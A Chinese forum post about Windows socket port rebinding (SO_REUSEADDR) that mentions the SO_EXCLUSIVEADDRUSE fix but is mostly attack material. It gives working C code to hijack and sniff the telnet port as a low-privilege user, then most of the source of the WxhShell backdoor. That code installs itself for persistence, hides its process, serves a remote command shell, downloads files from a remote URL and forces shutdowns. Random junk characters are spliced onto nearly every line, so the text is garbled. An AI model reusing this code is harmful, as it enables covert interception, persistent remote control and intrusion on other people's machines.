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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'RG`DzuF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *Jp>)>  
tb_}w@:kU  
  saddr.sin_family = AF_INET; 6%:'2;xM  
QMkLAZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mWka!lT  
mk[=3!J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1FY^_dvH  
Fv(zql  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qKWkgackP  
{zg}KiNDZd  
  这意味着什么?意味着可以进行如下的攻击: ;,9|;)U?u  
iaPY>EP1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6idYz"P %  
NEK;'"  ~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WlG/7$  
Zb}=?fcL;@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~omX(kPzK  
Yz{UP)TC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R=PjLH&)  
y+X%qTB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AMtFOXx%I  
33 N5>}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {L.0jAwB  
HW{+THNj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  BeP0lZ  
=(@J+Ou  
  #include GKm)wOb(*S  
  #include KqB(W ,$  
  #include rsiG]o=8  
  #include    Ee4oTU5Mb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   od-N7lp#  
  int main() JkpA \<  
  { ];(w8l  
  WORD wVersionRequested; 03{e[#6   
  DWORD ret; =SLJkw&w6  
  WSADATA wsaData; *y.KD4@{  
  BOOL val; Tw|=;m  
  SOCKADDR_IN saddr; KS%xo6k.  
  SOCKADDR_IN scaddr; zJtYy4jI)  
  int err; -LQ%)'J ZN  
  SOCKET s; !_zmm$bR  
  SOCKET sc; L+d_+:w  
  int caddsize; Y$% Ze]~  
  HANDLE mt; 9g " ?`_  
  DWORD tid;   9n44 *sZ  
  wVersionRequested = MAKEWORD( 2, 2 ); x/5%a{~j2  
  err = WSAStartup( wVersionRequested, &wsaData ); j63w(Jv/  
  if ( err != 0 ) { h5B'w  
  printf("error!WSAStartup failed!\n"); z^=9%tLJ  
  return -1; 6i>xCb  
  } wYS4#7  
  saddr.sin_family = AF_INET; {wCQ#V  
   ;Wb W\,P'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ? NVN&zD]  
pGUrYik4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p?5`+Z  
  saddr.sin_port = htons(23); E+[K?W5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .}]5y4UQ.  
  { iv3NmkP1  
  printf("error!socket failed!\n"); Qs</.PO  
  return -1; opdi5 e)jK  
  } V"\t  
  val = TRUE; IDwneFO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QiB:K Pz[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i wK,XnIR  
  { z q(AN<  
  printf("error!setsockopt failed!\n"); >_tn7Z0 L  
  return -1; B ljZ&wZW  
  } dt ;R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H?^Poe(=(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M(SH3~  
P62g7>B5^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #@ lLx?U  
  { D1x~d<j  
  ret=GetLastError(); \$GlB+ iCx  
  printf("error!bind failed!\n"); N(&,+KJ)  
  return -1; W aks*^|  
  } :'a |cjq  
  listen(s,2); ~eE2!/%9  
  while(1) z l@ <X0q  
  { y \V!OY@  
  caddsize = sizeof(scaddr); =][[TH  
  //接受连接请求 X_O(j!h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i>>_S&!9p  
  if(sc!=INVALID_SOCKET) A"i40 @+  
  { :/d#U:I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #L[Atx  
  if(mt==NULL) l.Qj?G  
  { yv]/A<gP+  
  printf("Thread Creat Failed!\n"); k q_B5L?  
  break; 'tp+g3V  
  } _q+H>1. &9  
  } ~B|K]&/]  
  CloseHandle(mt); -hyY5!rD  
  } M~p=OM<  
  closesocket(s); +-K-CXt  
  WSACleanup(); YG!~v~sV  
  return 0; oTT/;~I  
  }   S'vrO}yU  
  DWORD WINAPI ClientThread(LPVOID lpParam) )0~zL} )?  
  { gz Qc  
  SOCKET ss = (SOCKET)lpParam; 7s1FJm=Y/  
  SOCKET sc; )t&j0`Yq  
  unsigned char buf[4096]; $oe:km1-D  
  SOCKADDR_IN saddr; `epO/Uu\~u  
  long num; ( *UMpdj  
  DWORD val; 6# ,2  
  DWORD ret; UC\CCDV#^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?0Z?Z3)%w4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fPa FL}&  
  saddr.sin_family = AF_INET; Q4}2-}|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :a nUr<  
  saddr.sin_port = htons(23); Z^>{bW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =P-kb^s  
  { )lBke*j~  
  printf("error!socket failed!\n"); .Hc]?R ]  
  return -1; +Ae4LeVzc  
  } 349W0>eOT  
  val = 100; #1&w fI$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2LEf"FH0~  
  { [N'YFb3"O  
  ret = GetLastError(); M')f,5i&$  
  return -1; rp{q.fy'U  
  } K!0vvP2H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DO8@/W( `  
  { I?EtU/AD  
  ret = GetLastError(); Pur~Rz\ \  
  return -1; OZB(4{vnyC  
  } )zf&`T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h/mmV:v  
  { pa`"f&JO  
  printf("error!socket connect failed!\n"); ( Y'q%$  
  closesocket(sc); ` XE8[XY  
  closesocket(ss); V80g+)|  
  return -1; *[9FPya  
  } IlN9IF\9L  
  while(1) iYEhrb  
  { -}AAA*P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PB(mUD2"r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &k+ jVymH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BRi\&&<4  
  num = recv(ss,buf,4096,0); 0P3^#j  
  if(num>0) s["8QCd"r  
  send(sc,buf,num,0); 4l<%Q2  
  else if(num==0) d *!)wt  
  break; @6~r7/WD  
  num = recv(sc,buf,4096,0); +Vl\lL -  
  if(num>0) :&S6AP  
  send(ss,buf,num,0); Cd?a C  
  else if(num==0) >WVos 4  
  break; 9o@5:.b<j  
  } /xUTm=w7u  
  closesocket(ss); {U= Mfo?AH  
  closesocket(sc); )! Jo7SR  
  return 0 ; yM`J+tq  
  } Y(h86>z*w  
p~J|l$%0rQ  
]+u`E  
========================================================== lZCTthr\  
2_'{f1bVxz  
下边附上一个代码,,WXhSHELL ^_0zO$z,  
p2cwW/^V  
========================================================== (&H-v'a}3  
Y@)/iwq  
#include "stdafx.h" =]X_wA;%  
]|KOc& y:I  
#include <stdio.h> zy^t95/m  
#include <string.h> ecfw[4B`  
#include <windows.h> 6q-X$  
#include <winsock2.h> o EXN$SIs  
#include <winsvc.h> 4! ]28[2B6  
#include <urlmon.h> ixm-wZI  
}TI"j{(QJ  
#pragma comment (lib, "Ws2_32.lib") E4idEQ}H  
#pragma comment (lib, "urlmon.lib") I?<5 %  
GTgG0Ifeh  
#define MAX_USER   100 // 最大客户端连接数 OHTJQ5%zL  
#define BUF_SOCK   200 // sock buffer JVy-Y  
#define KEY_BUFF   255 // 输入 buffer ~\B1\ G  
W@Et  
#define REBOOT     0   // 重启 0eP7efy  
#define SHUTDOWN   1   // 关机 <]1Z  
T?B753I  
#define DEF_PORT   5000 // 监听端口 XRA RgWj  
-9W)|toWb"  
#define REG_LEN     16   // 注册表键长度 O~D>F*_^j  
#define SVC_LEN     80   // NT服务名长度 YGFE(t;lPU  
2NMS '"8  
// 从dll定义API g-)izPX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j]Y`L?!Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 82d~>i%T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WD.td  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hilgl<UF  
c~ x  
// wxhshell配置信息 jRdmQ mTJ  
struct WSCFG { h]W PWa)M  
  int ws_port;         // 监听端口 `#J0@ -  
  char ws_passstr[REG_LEN]; // 口令 Y=0D[o8  
  int ws_autoins;       // 安装标记, 1=yes 0=no #2 Gy=GvV  
  char ws_regname[REG_LEN]; // 注册表键名 7-S?\:J  
  char ws_svcname[REG_LEN]; // 服务名 %+gK5aVab  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %QYW0lE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2E7vuFH4c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gkkT<hEV=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -|_#6-9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "]H_;:{f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xb8S)zO]Q  
]c/k%] o~  
}; 1j4tR#L  
f0Wbc\L[  
// default Wxhshell configuration qrdA4S  
struct WSCFG wscfg={DEF_PORT, m ^?a/  
    "xuhuanlingzhe", *DBm"{q%&k  
    1, F{,<6/ayRz  
    "Wxhshell", E^'f'\m  
    "Wxhshell", e"g=A=S  
            "WxhShell Service", b~oQhU??"  
    "Wrsky Windows CmdShell Service",  ZDn5d%  
    "Please Input Your Password: ", 'LC-/_g  
  1, 0o-. m  
  "http://www.wrsky.com/wxhshell.exe", u_31Db<  
  "Wxhshell.exe" oJ4OVfknD  
    }; y@GqAN'DK[  
L?h'^*F H}  
// 消息定义模块 MuI>ZoNF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #^FDG1=  
char *msg_ws_prompt="\n\r? for help\n\r#>";  Q6qIx=c4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m+m2<|%x  
char *msg_ws_ext="\n\rExit."; t_ju[xL5B  
char *msg_ws_end="\n\rQuit."; bn*SLWWQ.3  
char *msg_ws_boot="\n\rReboot..."; d-%bRGo/  
char *msg_ws_poff="\n\rShutdown..."; #LU<v  
char *msg_ws_down="\n\rSave to "; "|k 4<"]  
9szUN;:ZZ  
char *msg_ws_err="\n\rErr!"; `|rF^~6(dR  
char *msg_ws_ok="\n\rOK!"; Sao4MkSz[]  
(Mzv"FN]  
char ExeFile[MAX_PATH]; $tm%=g^  
int nUser = 0; @}{lp'8FYi  
HANDLE handles[MAX_USER]; ZsnFuk#W  
int OsIsNt; ^mp#7OL  
9I1D'7wI^^  
SERVICE_STATUS       serviceStatus;  Q{K '#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O %m\ Q1  
2wX4e0cOI4  
// 函数声明 Xg4i H5!E  
int Install(void); pHNo1-k\  
int Uninstall(void); Z(h.)$yH*=  
int DownloadFile(char *sURL, SOCKET wsh); .Tm m  
int Boot(int flag); !vfbgK  
void HideProc(void); #S4lRVt5  
int GetOsVer(void); WWBm*?U  
int Wxhshell(SOCKET wsl); HP,sNiw  
void TalkWithClient(void *cs); Q%T[&A}3B  
int CmdShell(SOCKET sock); #OMFv.  
int StartFromService(void); k.5(d.*(  
int StartWxhshell(LPSTR lpCmdLine); I,8f{T!O@"  
Ez)hArxns  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w ag^Sk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MJ?fMR@  
%$Sm ei  
// 数据结构和表定义 5|<jPc  
SERVICE_TABLE_ENTRY DispatchTable[] = n Y)H-u^  
{ 7$ze RYD+  
{wscfg.ws_svcname, NTServiceMain}, ; <NK  
{NULL, NULL} '( ( pW  
}; {3LAK[ C  
/}kG$ ~  
// 自我安装 C0`Bi:Ze  
int Install(void) zhdS6Gk+  
{ $S6%a9m   
  char svExeFile[MAX_PATH]; gfr+`4H>v  
  HKEY key; (/ qOY  
  strcpy(svExeFile,ExeFile); x$L(!ZDh  
2j=i\B  
// 如果是win9x系统,修改注册表设为自启动 ]_5qME#N  
if(!OsIsNt) { " ZYdJHM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sF4+(9=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Ei(BrL/;  
  RegCloseKey(key); ^Ay>%`hf*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d8C44q+ds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!v{ >3  
  RegCloseKey(key); ,wYA_1$$H  
  return 0; BN>t"9XpW  
    } ABaK60.O[O  
  } ? h |&kRq  
} 6k9cvMs%H  
else { g15~+;33N  
YQ-!>3/)-  
// 如果是NT以上系统,安装为系统服务 )W,.xP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @{q:179w^  
if (schSCManager!=0) cF V[k'F  
{ +Y! P VMF  
  SC_HANDLE schService = CreateService V] 0T P#  
  ( UTS.o#d  
  schSCManager, _c$F?9:  
  wscfg.ws_svcname, 'c/S$_r  
  wscfg.ws_svcdisp, "xdu h3/~=  
  SERVICE_ALL_ACCESS, fMm.V=/+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =pk5'hBAi  
  SERVICE_AUTO_START, p6c&vEsNj  
  SERVICE_ERROR_NORMAL, 1DR ih>+#  
  svExeFile, kMx^L;:n  
  NULL, , G2( l  
  NULL, dTrz7ayH  
  NULL, [,0[\NC  
  NULL, Kl/n>qEt  
  NULL =THRy ZCH  
  ); oAprM Z 7Y  
  if (schService!=0) MHqk-4Mz  
  { g-LMct8$  
  CloseServiceHandle(schService); KD* xFap  
  CloseServiceHandle(schSCManager); UFzC8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `UD,ne  
  strcat(svExeFile,wscfg.ws_svcname); =@ d/SZ|(E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HT%'dZ1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OpD%lRl  
  RegCloseKey(key); p#aB0H3  
  return 0; zL!}YR@&u"  
    } S&J>15oWM`  
  } {oftZ Xwf  
  CloseServiceHandle(schSCManager); RRUv_sff  
} }h+{>{2j  
} 7!g"q\s  
@L,4JPk  
return 1; 1:;S6{oQ  
} 1smKU9B2)  
BVzMgn;  
// 自我卸载 <~teD[1k"  
int Uninstall(void) _Kwp8_kTr  
{ s H(io  
  HKEY key; ]|_UpP8EP  
=/e$Rp  
if(!OsIsNt) { +~n4</  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :|a$[g5  
  RegDeleteValue(key,wscfg.ws_regname); cH:9@>'$a  
  RegCloseKey(key); Qf($F,)K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gwyX%9  
  RegDeleteValue(key,wscfg.ws_regname); @j<Q2z^  
  RegCloseKey(key); ;DgQ8"f  
  return 0; =Cc]ugl7-  
  } EC/=JlL`5  
} gvFs$X*^:  
} hw({>cH\  
else { zQ#2BOx1  
6L<QKE=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0[ZB^  
if (schSCManager!=0) j8)rz  
{ xnOd$]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Oy_%U*  
  if (schService!=0) | Di7 ,$c  
  { y>>)Yo&|  
  if(DeleteService(schService)!=0) { A5E^1j}h@  
  CloseServiceHandle(schService); P%aNbMg  
  CloseServiceHandle(schSCManager); `-w,6  
  return 0; WX* uhR  
  } 8ByNaXMO6  
  CloseServiceHandle(schService); u<JkP <"S  
  } x~QZVL=:  
  CloseServiceHandle(schSCManager); k&9[}a*  
} 0at['zw  
} sSy!mtS  
&!F"3bD0  
return 1; Ou`;HN;[  
} \0n<6^y  
&Jd_@F#J  
// 从指定url下载文件 dUL*~%2I  
int DownloadFile(char *sURL, SOCKET wsh) FQ>y2n=<d  
{ 9]vy#a#  
  HRESULT hr; ^'p!#\T;H  
char seps[]= "/"; zF@[S  
char *token; qVW3oj<2  
char *file; xW|8-q  
char myURL[MAX_PATH]; 4\E1M[6  
char myFILE[MAX_PATH]; u'T?e+=  
4_-L1WH  
strcpy(myURL,sURL); LP'~7FG  
  token=strtok(myURL,seps); K;ocs?rk/  
  while(token!=NULL) 22/"0=2g  
  { c_T+T/O  
    file=token; UPy 4ST  
  token=strtok(NULL,seps); K'f^=bc I  
  } 'cqY-64CJZ  
SLz;5%CPV  
GetCurrentDirectory(MAX_PATH,myFILE); o@L2c3?c5  
strcat(myFILE, "\\"); L[^.pO  
strcat(myFILE, file); y@(EGfI  
  send(wsh,myFILE,strlen(myFILE),0); /r8sL)D+  
send(wsh,"...",3,0); ^^g u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Uhh]/  
  if(hr==S_OK) ,3 [FD9  
return 0; t?H sfN  
else mNlbiB  
return 1;  7LB%7~{<  
@KRia{  
} `CRF E5  
0oe2X1.%  
// 系统电源模块 N;a'`l  
int Boot(int flag) WfHa  
{ n lZJ}xZ  
  HANDLE hToken; P%;lHC #i  
  TOKEN_PRIVILEGES tkp; @~}~;}0x  
L}7 TM:%  
  if(OsIsNt) { U|<>xe*|%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }`aT=_B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g 'td(i[  
    tkp.PrivilegeCount = 1; N cp   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T$sm}=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); biZ=TI2P,L  
if(flag==REBOOT) { Z<*"sFpAO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /9,y+"0SQz  
  return 0; ,/qY 9eh  
} J!}\v=Rn  
else { ~iPXn1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T7|=`~  
  return 0; E#Ol{6  
} "ZL_  
  } p,tkVedR  
  else { \E'z+0  
if(flag==REBOOT) { ?zf3AZ9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uPC(|U%  
  return 0; }:Y)DH% u  
} yMD3h$w3a  
else { -q(*)N5.2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2St<m-&  
  return 0; ;U3K@_  
} 1p$*N  
} =?_:h`}  
gtIEpYN+  
return 1; sm{/S*3  
} 7'gk=MQc  
At'M? Q@v  
// win9x进程隐藏模块 $3g M P+  
void HideProc(void) "<Yxt"Z4  
{ <g&.UW4  
,g4T>7`&U%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }=B~n0  
  if ( hKernel != NULL ) u08j9) ,4  
  { [E+J=L.l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &- !$qUli  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,M:[GuXD<  
    FreeLibrary(hKernel); NV==[$(r  
  } Uw| -d[!  
FAdTp.   
return; o+L [o_er  
} m2&Vm~Py6b  
I`s~.fZt  
// 获取操作系统版本 "3'a.b akw  
int GetOsVer(void) J*_^~t  
{ Igw2n{})w  
  OSVERSIONINFO winfo; %&0/ Ypp=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~Ye nH  
  GetVersionEx(&winfo); 4`Zo Ar-5|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WJI}~/z;C  
  return 1; .Yvy37n((  
  else lANi$ :aE  
  return 0; ,tDLpnB@;  
} pMY7{z  
[XH,~JZJj  
// 客户端句柄模块 aHb&+/HZ  
int Wxhshell(SOCKET wsl) IwOL1\'T4  
{ (N/-blto  
  SOCKET wsh; &kn?=NW  
  struct sockaddr_in client; BS?i!Bm7  
  DWORD myID; 6pt|Crvu  
R+!oPWfb  
  while(nUser<MAX_USER) Y; iI =U  
{ ] _W'-B  
  int nSize=sizeof(client); B.KK@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CEBu[TT/9  
  if(wsh==INVALID_SOCKET) return 1; ]1eZ<le`6  
hTWZIW@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0!RP7Sx  
if(handles[nUser]==0) 7HQL^Q  
  closesocket(wsh); 5!pNo*QK  
else &ld<fa(w+2  
  nUser++; :5'hd^Q  
  } n*i&o;5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,\i,2<hz.  
SL`; `//  
  return 0;  deq5u>  
} 6)W8HX~+  
6`%|-o :  
// 关闭 socket LpI4R  
void CloseIt(SOCKET wsh) %%I:L~c  
{ bKsEXS  
closesocket(wsh);  DZ4gp  
nUser--; 9Y2.ob!$}  
ExitThread(0); D=Nt 0y  
} .mg0L\  
P)XR9&o':  
// 客户端请求句柄 S4c-i2Rq  
void TalkWithClient(void *cs) :4x6dYNU  
{ u\/TR#b  
1 <m.Q*  
  SOCKET wsh=(SOCKET)cs; TaaCl#g$?  
  char pwd[SVC_LEN]; e>6W ^ )  
  char cmd[KEY_BUFF]; o( mA(h  
char chr[1]; Mn3j6a  
int i,j; Bn%?{z)  
d>T8V(Bb  
  while (nUser < MAX_USER) { /;:4$2R(;  
J_j4Zb% K  
if(wscfg.ws_passstr) { >e(@!\ x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7]Hf3]e>/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /?0|hi<_$  
  //ZeroMemory(pwd,KEY_BUFF); #%8)'=1+4?  
      i=0; L]Xx-S  
  while(i<SVC_LEN) { uhnnjI  
O*lIZ,!n  
  // 设置超时 <AiE~l| D  
  fd_set FdRead; 68w~I7D>  
  struct timeval TimeOut; Ao*:$:k  
  FD_ZERO(&FdRead); { .0I!oWv  
  FD_SET(wsh,&FdRead); )~S`[jV5  
  TimeOut.tv_sec=8; 1(*+_TvZ  
  TimeOut.tv_usec=0; x^i97dZS^"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1HqN`])l/j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t/%[U,m  
tUW^dGo.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6i~<,;Cn  
  pwd=chr[0]; UUM:*X  
  if(chr[0]==0xd || chr[0]==0xa) { "pcr-?L  
  pwd=0; :8hXkQ  
  break; &j/,8 Z*  
  } &~x|w6M]J  
  i++; 1}SON4U  
    } k_Sm ep  
7q 5 \]J[  
  // 如果是非法用户,关闭 socket 44w "U%+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;% i-:<ac  
} 0LP0q9S:9  
EP<{3f y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WX`wz>KK^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F9tWJJUsr  
~BgYD)ov  
while(1) { n{qVF#N_  
Eh|6{LDn!  
  ZeroMemory(cmd,KEY_BUFF); 0r[a$p>`  
W>c*\)Xk !  
      // 自动支持客户端 telnet标准   7:=(yBG  
  j=0; %F$ ]v  
  while(j<KEY_BUFF) { ,%zE>^~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3h%Nd &_9  
  cmd[j]=chr[0]; /QCg E ~  
  if(chr[0]==0xa || chr[0]==0xd) { aI}htb{m`  
  cmd[j]=0; FPZ@6  
  break; @at*E%T[  
  } uINEq{yo  
  j++; OwgPgrV  
    } !\$4A,  
EFu$>Z4  
  // 下载文件 k Q_Vj7  
  if(strstr(cmd,"http://")) { vXSA_" 0t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QW_v\GHx  
  if(DownloadFile(cmd,wsh)) mq(K_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jq6FT)O  
  else Sht3\cJ8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G=CP17&h6  
  } !c0x^,iE  
  else { MCIuP`sC|  
sYSq>M  
    switch(cmd[0]) { gdh|X[d  
  muBl~6_mb2  
  // 帮助 pN)>c,  
  case '?': { )(1tDQ`L>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  n$>_2v  
    break; "]=XB0)  
  } EiDpy#f}  
  // 安装 kFT*So`'  
  case 'i': { zxd<Cq>d  
    if(Install()) [iyhrc:@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xk,1 D  
    else RUut7[r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p_fsEY  
    break; LJ9#!r@H  
    } =+<DNW@%  
  // 卸载 Wh"xt:  
  case 'r': { ~H[_=  
    if(Uninstall()) V,\}|_GY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#K\u![@N  
    else <~svy)Cz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xg;<?g?k  
    break; y.gNjc  
    } ;7JyL|2  
  // 显示 wxhshell 所在路径 _0\wyjjU  
  case 'p': { #k!;=\FV  
    char svExeFile[MAX_PATH]; |="Y3}a  
    strcpy(svExeFile,"\n\r"); (9] =;)  
      strcat(svExeFile,ExeFile); $%ztP Ta  
        send(wsh,svExeFile,strlen(svExeFile),0); B < HD  
    break; "CFU$~  
    } /R( .7N  
  // 重启 \ 9sJ`,T?  
  case 'b': { z~1S/,Ca  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1pN8,[hyR7  
    if(Boot(REBOOT)) {t:*Xu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MQy,[y7I  
    else { EIg:@o&Jj  
    closesocket(wsh); k^s7s{  
    ExitThread(0); B7%m7GM  
    } THy   
    break; ,W_".aguX  
    } nA=E|$1  
